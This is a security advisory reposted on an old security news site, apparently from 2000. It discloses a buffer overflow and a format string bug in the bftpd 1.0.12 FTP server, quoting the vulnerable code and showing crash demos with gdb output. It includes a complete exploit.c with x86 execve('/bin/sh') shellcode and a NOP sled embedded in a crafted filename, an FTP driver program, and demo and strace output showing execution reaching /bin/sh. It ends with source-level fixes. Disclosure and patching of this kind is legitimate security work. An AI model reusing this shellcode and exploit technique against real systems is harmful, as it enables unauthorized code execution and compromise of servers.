[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : Potential security problem in bftpd (Buffer Overflow and format bug)

Title: Potential security problem in bftpd (Buffer Overflow and format bug)
Released by: Christophe Bailleux
Date: 10th December 2000
Printable version: Click here
Subject         : Potential security problem in bftpd (Buffer Overflow and format bug)

Author          : Christophe BAILLEUX (cb@grolier.fr)

Greetings	: Greetings  to ASYNCHRO (asynchro@PKCREW.ORG) for his first advisory

Plateforms      : *nix

Test version    : bftpd-1.0.12





I.      Introduction



bftpd is a Linux FTP server with chroot and setreuid. Not all FTP commands

are included.

It accesses either the user's home directory or its.

ftp subdirectory, and user authentication is via passwd/shadow or PAM.







II.      Problem



The lastest version of BFTPD has potentials security problems in the fuctions

"sendstrf" and "dirlist" inside the "distlir.c" file when the generated file by the output of 

the LIST and NLST commands is above 200 chars or holds strings form type %p%p%p%p









III.     Details/Demo





A) Code problem



bftpd-1.0.12/dirlist.c



 - In the function "sendstrf"



    21  int sendstrf(int s, char *format, ...) {

    22    va_list val;

    23    char buffer[256];

    24    va_start(val, format);

    25    vnprintf(buffer,  format, val);  // Buffer Overflow  

    26    va_end(val);

    27    return send(s, buffer, strlen(buffer), 0);

    28  }



 - In the function "dirlist"



    60        else

    61          foo = 1;

    62        sendstrf(s, entry->d_name); // Format Bug

    63      }





B) Demo / gdb output



 a)  Buffer overflow in the LIST command

    

   1- demo



tshaw:~/longfile$ pwd    



/home/cb/longfile



tshaw:~/longfile$ touch `perl -e 'print "A"x213'`

tshaw:~/longfile$ ls



AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



Connected to localhost.

220 bftpd 1.0.12 at 127.0.0.1 ready.

Name (localhost:cb): cb

331 Password please.

Password:

230 User logged in.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> cd longfile

250 OK

ftp> ls

200 PORT 127.0.0.1:1858 OK

150 Data connection established.

drwxr-xr-x   2 1000     100          4096 Dec  8 02:53 .

drwxr-xr-x  55 1000     100          4096 Dec  8 02:48 ..

-rw-r--r--   1 1000     100             0 Dec  8 02:53 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

421 Service not available, remote server has closed connection

ftp> 





    2- gdb output



tshaw:/home/cb# gdb /usr/sbin/bftpd 29751

GNU gdb 5.0

Copyright 2000 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-slackware-linux"...

/home/cb/29751: No such file or directory.

Attaching to program: /usr/sbin/bftpd, Pid 29751

Reading symbols from /lib/libcrypt.so.1...done.

Loaded symbols for /lib/libcrypt.so.1

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

Reading symbols from /lib/libnss_compat.so.2...done.

Loaded symbols for /lib/libnss_compat.so.2

Reading symbols from /lib/libnsl.so.1...done.

Loaded symbols for /lib/libnsl.so.1

0x400e7514 in read () from /lib/libc.so.6

(gdb) c

Continuing.



Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) x $esp

0xbffffadc:     0x41414141

(gdb)





 b)  Format bug in the NLST command



   1- demo



tshaw:~/longfile$ touch "%p%p%p%p%p%p%p%p%p%p"



Connected to localhost.

220 bftpd 1.0.12 at 127.0.0.1 ready.

Name (localhost:cb): cb

331 Password please.

Password:

230 User logged in.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> cd longfile

250 OK

ftp> nlist

200 PORT 127.0.0.1:1865 OK

150 Data connection established.

. .. 0xbffffd080x8049e500x804bb41(nil)(nil)0x10000000x804f4d8(nil)(nil)0x49

226 Directory list has been submitted.

ftp> 









tshaw:~/longfile$ touch "%s%s%s%s%s%s%s"



Connected to localhost.

220 bftpd 1.0.12 at 127.0.0.1 ready.

Name (localhost:cb): cb

331 Password please.

Password:

230 User logged in.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> cd longfile

250 OK

ftp> ls

200 PORT 127.0.0.1:1869 OK

150 Data connection established.

drwxr-xr-x   2 1000     100          4096 Dec  8 03:00 .

drwxr-xr-x  55 1000     100          4096 Dec  8 02:48 ..

-rw-r--r--   1 1000     100             0 Dec  8 03:00 %s%s%s%s%s%s%s

226 Directory list has been submitted.

ftp> nlist

200 PORT 127.0.0.1:1871 OK

150 Data connection established.

. .. 421 Service not available, remote server has closed connection

ftp> 





    2- gdb output



tshaw:/home/cb# gdb /usr/sbin/bftpd 29526

GNU gdb 5.0

Copyright 2000 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB.  Type "show warranty" for details.

This GDB was configured as "i386-slackware-linux"...

/home/cb/29526: No such file or directory.

Attaching to program: /usr/sbin/bftpd, Pid 29526

Reading symbols from /lib/libcrypt.so.1...done.

Loaded symbols for /lib/libcrypt.so.1

Reading symbols from /lib/libc.so.6...done.

Loaded symbols for /lib/libc.so.6

Reading symbols from /lib/ld-linux.so.2...done.

Loaded symbols for /lib/ld-linux.so.2

Reading symbols from /lib/libnss_compat.so.2...done.

Loaded symbols for /lib/libnss_compat.so.2

Reading symbols from /lib/libnsl.so.1...done.

Loaded symbols for /lib/libnsl.so.1

0x400e7514 in read () from /lib/libc.so.6

(gdb) c 

Continuing.



Program received signal SIGSEGV, Segmentation fault.

0x4008d196 in vfprintf () from /lib/libc.so.6

(gdb) where

#0  0x4008d196 in vfprintf () from /lib/libc.so.6

#1  0x40099f76 in vsnprintf () from /lib/libc.so.6

#2  0x804a417 in sendstrf (s=4, format=0x804f577 "%s%s%s%s%s%s")

    at dirlist.c:26

#3  0x804a670 in dirlist (name=0x804b64b ".", s=4, verbose=0 '\000')

    at dirlist.c:63

#4  0x8049e55 in do_dirlist (dirname=0xbffffd08 "", verbose=0 '\000')

    at commands.c:314

#5  0x8049e95 in command_nlst (dirname=0xbffffd08 "") at commands.c:324

#6  0x804a37c in parsecmd (str=0xbffffd08 "") at commands.c:482

#7  0x804ad2a in main (argc=1, argv=0xbffffe54) at main.c:129

#8  0x400602e7 in __libc_start_main () from /lib/libc.so.6

(gdb)











IV.      Exploit and Demo





It's not possible to exploit it with a standart exploit...

bftpd-1.0.12/login.c  contains a piece of code using the "chroot" and setregid functions, and denying the 

execution of  /bin/sh or another programz by  a local user.



    41    if(chroot(str)) {

    42      fprintf(stderr, "421 Unable to change root directory.\r\n");

    43      exit(0);

    44    }





The remote exploit it's not possible. See the first message da asynchro :)





With the following exploit, I can request bftpd (run by the user "cb") to run the

/bin/sh command.















-- BEGIN exploit.c --



/*                                                                                                                                             

Creates a filname to exploit the bug in bftpd 1.0.12                                                                                           

Create the file, cwd in the shell directory and nlist the file directory.  



Coded by korty 

*/



#include 

#include 

#include 

#include 





#define LEN 205



int main (int argc, char **argv)

{

  char buf[LEN + 12];

  int  ret = 0xbffffa80;

  int  *p;

  int  fp;

  

  char code[]=



 /*

  *  Linux/x86

  *

  *  toupper() evasion, standard execve() /bin/sh (used eg. in various

  *  imapd exploits). Goes through a loop adding 0x20 to the 

  *  (/bin/sh -= 0x20) string (ie. yields /bin/sh after addition).

  */



  /* main: */

  "\xeb\x29"                            /* jmp callz                   */

  /* start: */

  "\x5e"                                /* popl %esi                   */

  "\x29\xc9"                            /* subl %ecx, %ecx             */

  "\x89\xf3"                            /* movl %esi, %ebx             */

  "\x89\x5e\x08"                        /* movl %ebx, 0x08(%esi)       */

  "\xb1\x07"                            /* movb $0x07, %cl             */

  /* loopz: */

  "\x80\x03\x20"                        /* addb $0x20, (%ebx)          */

  "\x43"                                /* incl %ebx                   */

  "\xe0\xfa"                            /* loopne loopz                */

  "\x29\xc0"                            /* subl %eax, %eax             */

  "\x88\x46\x07"                        /* movb %al, 0x07(%esi)        */

  "\x89\x46\x0c"                        /* movl %eax, 0x0c(%esi)       */

  "\xb0\x0b"                            /* movb $0x0b, %al             */

  "\x87\xf3"                            /* xchgl %esi, %ebx            */

  "\x8d\x4b\x08"                        /* leal 0x08(%ebx), %ecx       */

  "\x8d\x53\x0c"                        /* leal 0x0c(%ebx), %edx       */

  "\xcd\x80"                            /* int $0x80                   */

  "\x29\xc0"                            /* subl %eax, %eax             */

  "\x40"                                /* incl %eax                   */

  "\xcd\x80"                            /* int $0x80                   */

  /* callz: */

  "\xe8\xd2\xff\xff\xff"                /* call start                  */

  "\x0f\x42\x49\x4e\x0f\x53\x48";       /* /bin/sh -= 0x20             */







  if (argc > 1) {

    ret += atoi(argv[1]);

    fprintf(stderr, "Using ret %#010x\n", ret);

  }



  memset(buf, '\x90', LEN);

  memcpy(buf + LEN - strlen(code), code, strlen(code));



  p = (int *) (buf + LEN);



  *p++ = ret;

  *p++ = ret;

  *p   = 0;



  fp = open(buf, O_CREAT);

  if(fp < 0) perror("buf");

  close(fp);



}





-- END exploit.c --















Run netcat on the port 1028 (nc -l -p 1028)

and use that program 























-- BEGIN list.c --





#include 



int main()



{



#define USER "cb"

#define PASS "PasSwoRd"

#define PORT "port 127,0,0,1,4,4"  // Data on the port 1028 with the addr 127.0.0.1

#define CWD "cwd longfile"

#define LIST "list"



printf("user %s\n", USER);

sleep(1);

printf("pass %s\n", PASS);

sleep(1);

printf("%s\n", PORT);

sleep(1);

printf("%s\n", CWD);

sleep(1);

printf("%s\n", LIST);



}





-- END list.c --















  A)  DEMO  





tshaw:~/longfile$ gcc -o exploit exploit.c 

tshaw:~/longfile$ ls

exploit*  exploit.c  list.c

tshaw:~/longfile$ ls

exploit*  exploit.c  list.c

tshaw:~/longfile$ ./exploit 

tshaw:~/longfile$ ls

exploit*

exploit.c

list.c

\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220

\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220

\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220

\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220

\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220

\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220

\220\220\220\220\220\220\220\220\220\220\220\220\313)^)\311\211\323\211^\b\221\a\200\003\ C

\300\332)\300\210F\a\211F\f\220\v\203\323\211K\b\211S\f\311\200)\300\@\311\200\310\322\333

\333\333\013BIN\013SH\200\332\333\233\200\332\333\233*

tshaw:~/longfile$ 



tshaw:~/longfile$ gcc -o list list.c



tshaw:~/longfile$ nc -l -p 1028 &

[1] 29973

tshaw:~/longfile$ 





tshaw:~/longfile$ (./list ; cat) | nc localhost 21

220 bftpd 1.0.12 at 127.0.0.1 ready.

331 Password please.

230 User logged in.

200 PORT 127.0.0.1:1028 OK

250 OK



150 Data connection established.

drwxr-xr-x   2 1000     100          4096 Dec  8 04:06 .

drwxr-xr-x  55 1000     100          4096 Dec  8 04:02 ..

-rw-r--r--   1 1000     100           323 Dec  8 04:06 list.c

-rwxr-xr-x   1 1000     100         11931 Dec  8 04:06 list

-rw-r--r--   1 1000     100          2178 Dec  8 03:54 exploit.c

-rwxr-xr-x   1 1000     100         12861 Dec  8 03:56 exploit

-r-xr--r--   1 1000     100             0 Dec  8 03:56 



ë)^)ɉ󉱀 Càú)ÀˆF‰F

                                                                 °

                                                                  ‡óS

                                                                       ̀)À@̀èÒÿÿÿBINSH€úÿ¿€úÿ¿



[1]+  Done                    nc -l -p 1028

tshaw:~/longfile$ 







   B)  STRACE OUTPUT





tshaw:~# ps -aef |grep bftpd



cb       30128    62  0 Dec04 ?        00:00:00 bftpd

root     30136 30024  0 Dec04 ttyqa    00:00:00 grep bftpd



tshaw:~# strace -p 30128



read(0, "\n", 4096)                     = 1

socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 4

setsockopt(4, SOL_SOCKET, SO_REUSEADDR, [1], 4) = 0

setsockopt(4, SOL_SOCKET, SO_SNDBUF, [65536], 4) = 0

bind(4, {sin_family=AF_INET, sin_port=htons(0), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0

connect(4, {sin_family=AF_INET, sin_port=htons(1028), sin_addr=inet_addr("127.0.0.1")}}, 16) = 0

write(2, "150 Data connection established."..., 34) = 34

open("/dev/null", O_RDONLY|O_NONBLOCK|0x10000) = -1 ENOENT (No such file or directory)

stat(".", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

open(".", O_RDONLY|O_NONBLOCK|0x10000)  = 5

fstat(5, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

fcntl(5, F_SETFD, FD_CLOEXEC)           = 0

brk(0x8052000)                          = 0x8052000

getdents(5, /* 7 entries */, 3933)      = 328

stat("./.", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

send(4, "drwxr-xr-x   2 1000     100     "..., 58, 0) = 58

stat("./..", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0

send(4, "drwxr-xr-x  55 1000     100     "..., 59, 0) = 59

stat("./list.c", {st_mode=S_IFREG|0644, st_size=323, ...}) = 0

send(4, "-rw-r--r--   1 1000     100     "..., 63, 0) = 63

stat("./list", {st_mode=S_IFREG|0755, st_size=11931, ...}) = 0

send(4, "-rwxr-xr-x   1 1000     100     "..., 61, 0) = 61

stat("./exploit.c", {st_mode=S_IFREG|0644, st_size=2178, ...}) = 0

send(4, "-rw-r--r--   1 1000     100     "..., 66, 0) = 66

stat("./exploit", {st_mode=S_IFREG|0755, st_size=12861, ...}) = 0

send(4, "-rwxr-xr-x   1 1000     100     "..., 64, 0) = 64

stat("./

ë)^)ɉ󉱀 Càú)ÀˆF‰F

                  °

                   ‡óS

                        ̀)À@̀èÒÿÿÿBINSH€úÿ¿€úÿ¿", {st_mode=S_IFREG|S_ISUID|0544, st_size=0, ...}) = 0

send(4, "-r-xr--r--   1 1000     100     "..., 270, 0) = 270

execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = -1 ENOENT (No such file or directory)

_exit(-1073743151)                      = ?



tshaw:~# 



 

If i disable the chroot function in login.c, the exploit works.



















V.      Workaround





A)  Buffer Overflow





In bftpd-1.0.11/dirlist.c



Modify the line 25 



 vsprintf(buffer, format, val);



by



 vsnprintf(buffer, sizeof(buffer), format, val);







B)   Format Bug





In bftpd-1.0.11/dirlist.c

                

Modify the line 62 

                

 sendstrf(s, entry->d_name);                



by                             

 

 sendstrf(s, "%s", entry->d_name);















VI.     Greetings :)



Greetings to :



Asynchro for your advisory :)

DV for your help.

NoldErisE for the translation. My english sux... :)

Deda Team.

kalou.

Ouaou ki fait le Ouaou!@#.

Clebi Clebo

And hummmmmmm my mother :)





Best Regards,












(C) 1999-2000 All rights reserved.